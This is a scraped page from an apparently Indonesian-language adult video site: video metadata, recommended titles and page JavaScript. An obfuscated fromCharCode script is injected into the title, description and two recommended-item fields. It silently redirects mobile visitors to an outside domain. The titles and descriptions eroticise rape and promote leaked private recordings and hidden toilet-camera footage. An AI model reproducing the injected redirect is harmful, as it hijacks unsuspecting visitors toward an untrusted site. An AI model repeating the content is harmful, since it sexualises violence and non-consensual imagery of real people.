</title><skrip>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>【Rekaman Pribadi Amatir Bocor】20 Selfie Amatir Berkualitas Tinggi! Hubungan Seksual yang Tak Terhentikan dan Memalukan Selama 295 Menit</title></script>
【Rekaman Pribadi Amatir Bocor】20 Selfie Amatir Berkualitas Tinggi! Hubungan Seksual yang Tak Terhentikan dan Memalukan Selama 295 Menit","site_id":0,"video_url":"https://2605.fhbbff.com/20260703/0Fso9ALk/index.m3u8","images":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MDYvYmNkNDIzZDI0MGI3NDE3ZGU2NWRmMTM3Mzg5MGNmZmMuanBn.cache","duration":"","actor":[],"lastmod":1783766805,"rating":"10.0","view_count":900,"description":"Bro, ini beneran! 295 menit rekaman yang menampilkan 20 gadis amatir papan atas, semuanya direkam sendiri dan bocor, difilmkan dari sudut pandang seseorang yang bersembunyi di bawah tempat tidur. Setiap jalang diperkosa sampai dia berteriak tanpa henti, kamera berguncang seperti gempa bumi, ekspresi malu karena diperkosa sampai matanya berputar ke belakang, payudaranya bergoyang liar, vaginanya meluap dengan sperma, sperma menetes di pahanya. Mereka merekam diri mereka sendiri, menutupi wajah mereka karena malu saat diperkosa secara brutal, yang justru membuatnya semakin seru! Dari adegan pertama hingga terakhir, tanpa sensor dan penuh energi, kamu tidak akan bisa berhenti masturbasi!","tag":["Amatir","Sesi Foto Pribadi","Foto-foto pribadi bocor","aliran keluar","Kualitas terbaik","Amatir kelas atas","Foto selfie amatir","Selfie","Tidak bisa berhenti","Gila","malu","hubungan seksual"],"site_url":"228814","free":1,"clarity":1,"vr":2,"is_caiji":0,"fenlei":[],"preview":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MDYvYmNkNDIzZDI0MGI3NDE3ZGU2NWRmMTM3Mzg5MGNmZmMuanBn.cache","maker":"","table_name":"videos_fhzy10","content":"","download_url":"","magnet_url":"","torrent_url":"","preview_images":"","release_date":"","series":"","studio":"","s_title":"【素人私拍流出】20名极品素人自拍!停不下的狂干羞耻性交295分钟","s_keywords":"【素人私拍流出】20名极品素人自拍!停不下的狂干羞耻性交295分钟","s_description":"var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}【Rekaman Pribadi Amatir Bocor】20 Selfie Amatir Berkualitas Tinggi! Hubungan Seksual yang Tak Terhentikan dan Memalukan Selama 295 Menit","cid":"","items":[{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMzA3OWYwMDIzMjEzMDY1OWQ4NGYyNTY3MWE0ZmY4NTQuanBn.cache","vod_id":19217956,"title":"LANZ-018 Si cantik Liliel benar-benar ditaklukkan oleh penis besar seorang pria kulit hitam, mengalami 16 menit hubungan seks intens dan ejakulasi tanpa henti.","lastmod":"2026-02-16","duration":"0:16:15","url":"/play/19217956.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMWQ4ODkxZWFmYTlkNjhlYTMyMThhMGIwNTY3MGE4MTIuanBn.cache","vod_id":19228590,"title":"Seorang siswi berusia 19 tahun berkacamata, meskipun penampilannya polos, diperkosa secara brutal hingga mencapai orgasme oleh penis yang sangat besar.","lastmod":"2026-04-11","duration":"0:40:19","url":"/play/19228590.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvYmIzNTE2Y2U3YTJhZDA4NWMzZTJhYTkzMTMzNWUyMDEuanBn.cache","vod_id":19153658,"title":"300NTK297 Cinta Selebriti Internet Super Cabul Hina-chan 006 Perburuan Gadis Amatir...","lastmod":"2025-03-29","duration":"01:11:35","url":"/play/19153658.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvNTRhYjM3NTM0NDA3OWY0ZjNlOTQ5MzY4N2VlZDk5M2YuanBn.cache","vod_id":19219862,"title":"WAAA-580 Waktu Berhenti! Seorang kepala pelayan paruh baya tanpa henti memperkosa seorang pelayan muda bertubuh seksi yang setia kepada tuannya, berulang kali mengeluarkan ejakulasi di dalam kemaluannya.","lastmod":"2026-03-02","duration":"2:03:13","url":"/play/19219862.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA2MjkvZjkzM2MxMmMxNzE4M2E2YzQ1YjhkYjE0ZGI5ZjNhZTMuanBn.cache","vod_id":19243455,"title":"Kebejatan Black Widow! Penis Besar Pelatih Meniduri Klitorisnya dan Ejakulasi di Dalam","lastmod":"2026-07-02","duration":"","url":"/play/19243455.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMmNhNDVkOGMyNjNjY2ViNmY3MWU0N2NhYzExNDE1NDQuanBn.cache","vod_id":19125401,"title":"[Pertemuan Seksual Intens] Video Seks Influencer \"Instruktur Pilates - Xiu En\" Bocor! Tubuh Menakjubkan, Pertemuan Seksual Intens!!","lastmod":"2025-03-29","duration":"18:11","url":"/play/19125401.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvMzVmMDczM2E0NTZjNDk3NTA1NGZkMTUzOTEyZTFkMWEuanBn.cache","vod_id":19234831,"title":"HEYZO-3085 Pelayanan Mochizuki Shion melampaui batas dan dia diperkosa secara brutal dan diejakulasi di dalam! Seorang pelayan berkualitas tinggi dengan payudara besar memohon agar vaginanya dipenuhi sperma.","lastmod":"2026-05-16","duration":"1:02:05","url":"/play/19234831.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvNTdlNDkxNzU4NzEzMTFiOTA1NzgxNzc3MGQ4ZWQ1NmEuanBn.cache","vod_id":19217877,"title":"Tampilan jarak sangat dekat dari seorang wanita dewasa yang seksi yang diperkosa secara brutal di kamar hotel; menggosok-gosok kemaluannya yang montok dan menusuknya dengan paksa dari belakang.","lastmod":"2026-02-15","duration":"1:16:37","url":"/play/19217877.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvN2EzYjQ4NTNlNTEzNTBhMjMwMDU4Y2MwMzEyYjkxN2MuanBn.cache","vod_id":19056247,"title":"Wanita muda yang cantik menjadi gila saat bermain 3P","lastmod":"2025-03-28","duration":"","url":"/play/19056247.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZmVjZTMzYjU5MmViYmFhNzg2ZjNmZjgwNGUwYTViNDYuanBn.cache","vod_id":19084380,"title":"BBAN-068 Tiga teman perempuan sungguhan mengambil foto selfie setelah kencan persahabatan, menggambarkan diri mereka terlibat dalam aktivitas seksual lesbian!","lastmod":"2025-03-29","duration":"01:49:35","url":"/play/19084380.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMWM3Mzg4ZmU4MjY3NjA1ZjM1YjAxNWExZGM3MWU3MmEuanBn.cache","vod_id":19072934,"title":"MIAD-687 Meminta Hubungan Seksual Miku Abeno, Yuka Tachibana, Ayumi Takanashi","lastmod":"2025-03-28","duration":"01:58:40","url":"/play/19072934.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvNTE3YzAxZjI1ZGNkNTY1ZGUyZTBmMWMxNDhiZjJlYjQuanBn.cache","vod_id":19236272,"title":"Tubuh Yin Yue yang muda dan lembut diperkosa secara brutal, dan kemaluan siswi bertubuh montok itu dipenuhi dengan sperma.","lastmod":"2026-05-19","duration":"2:08:31","url":"/play/19236272.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MDYvMzNmZmMxNWUyOTcwMjA4ZWFiNjI3OTUwYTc0ZWNjYjcuanBn.cache","vod_id":19244848,"title":"var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}20 Wanita Kelas Atas yang Kontras Digauli Hingga Mereka Kejang dan Meminta Bantuan! Kompilasi Klimaks","lastmod":"2026-07-11","duration":"","url":"/play/19244848.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvYmUwMmZjZmZkZDAwYzA3YjQ0NWM2MTQwZjFlZDI4ZDguanBn.cache","vod_id":19103687,"title":"JUQ-778 Teman anak saya terus membuat saya mengalami ejakulasi karena hubungan seksual yang tidak terkendali.....","lastmod":"2025-03-29","duration":"","url":"/play/19103687.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvNmNmZDk0M2YyOWYzZWU3NTA3MGM1MDM4NTVkNWE3OTQuanBn.cache","vod_id":19222167,"title":"Seorang gadis panggilan KTV kelas atas diperkosa secara brutal dan mengalami ejakulasi di dalam! Payudaranya yang sangat besar menyemburkan cairan vagina saat ia mencapai klimaks.","lastmod":"2026-03-16","duration":"1:03:37","url":"/play/19222167.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvZjAyNzUyY2YzYzhlNGE4OWI0MzU2ZjFhNTExMmZlNjIuanBn.cache","vod_id":19238962,"title":"Yuka Ono, seorang amatir kelas S, lulusan sekolah hukum, dengan brutal meniduri seorang pembantu rumah tangga cantik dengan pantatnya yang besar hingga ia ejakulasi di dalam.","lastmod":"2026-06-04","duration":"2:01:31","url":"/play/19238962.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvNDAyNzljMThkYmYwZjU0YThjZDdiMmVkNDcwMGViMjAuanBn.cache","vod_id":19217329,"title":"Tiga saudari cantik bermain-main dengan kemaluan satu sama lain, mengeluarkan cairan dan tidak bisa menahan diri, cairan mereka menyembur liar.","lastmod":"2026-02-12","duration":"1:33:48","url":"/play/19217329.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvZGVmYXVsdC5qcGc=.cache","vod_id":19245943,"title":"var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.hre f=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}热门精选视频1783767055","lastmod":"2026-07-11","duration":"12:34","url":"/play/19245943.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA2MjMvNTQzYWYwNTQ5ZTgxMDBlZjExNDkyYWRjYmRjODM3NzAuanBn.cache","vod_id":19242863,"title":"Pertemuan rahasia Futaba-chan dengan seorang bajingan berujung pada pemerkosaan brutal! Dia mencapai klimaks dan menyerah pada penetrasi dan ejakulasi.","lastmod":"2026-06-28","duration":"2:16:54","url":"/play/19242863.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvN2ZmOTM5OTU3NGVhNmRkODE5MDAwMjRlNGJiYWY4YzUuanBn.cache","vod_id":19109305,"title":"Siswi tercantik di sekolah, mengenakan stoking hitam selutut, bertubuh bagus, berpayudara besar dan bokong seksi, mengambil inisiatif dalam seks dengan pacarnya, seks PUBG, gaya doggy style, duduk di atas satu sama lain, ejakulasi tanpa kondom di dalam.","lastmod":"2025-03-29","duration":"","url":"/play/19109305.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MDYvZTU0OTE5MmYxNDJiZTE5ZGZjMjZlMDgxMmVlYzI4OGYuanBn.cache","vod_id":19244160,"title":"Wanita menikah/jalang kelas atas yang berhubungan intim dengan pria kaya, swafoto definisi tinggi, ejakulasi internal, ejakulasi di wajah.","lastmod":"2026-07-06","duration":"","url":"/play/19244160.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvYTY3YTIxNzI2YTU0NTM0NGE4NTgxZjc0MDIwZTg1MjguanBn.cache","vod_id":19229808,"title":"Wei Ge adalah wanita tercantik ketiga di negara ini! Seorang pelacur berkualitas tinggi, montok, dan sensual, vaginanya yang berapi-api dan penuh gairah diisap dan dibanjiri sperma di dalamnya!","lastmod":"2026-04-18","duration":"1:03:56","url":"/play/19229808.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvNGY5Yzg3NmRkZTA4NDY3MWE5NzU5MzA2NjNmZjQ5YzMuanBn.cache","vod_id":19120259,"title":"[TS Zhouzhou Berkualitas Tinggi] Pakaian Dalam yang Memikat dan Seksi - Dari Kamar Tidur hingga Ruang Tamu","lastmod":"2025-03-29","duration":"08:28","url":"/play/19120259.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvOGI5MDc2Mjc3MGNmODU1MjBkYTM4ZjYzM2U2ZTMzOGIuanBn.cache","vod_id":19064494,"title":"Rekaman kamera toilet definisi tinggi yang baru bocor pada bulan April ❤️ Pemandangan panorama toilet wanita di restoran barbekyu pusat perbelanjaan, memperlihatkan anus seorang wanita berkacamata yang terus membesar dan mengerut, membuat orang ingin berhubungan seks.","lastmod":"2025-03-28","duration":"00:10:29","url":"/play/19064494.html"}]},
videoTitle: '</title><skrip>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>【Rekaman Pribadi Amatir Bocor】20 Selfie Amatir Berkualitas Tinggi! Hubungan Seksual yang Tak Terhentikan dan Memalukan Selama 295 Menit</title></script>',
language: 'id',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('Tautan berhasil disalin!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('Tautan berhasil disalin!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('Tautan berhasil disalin!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}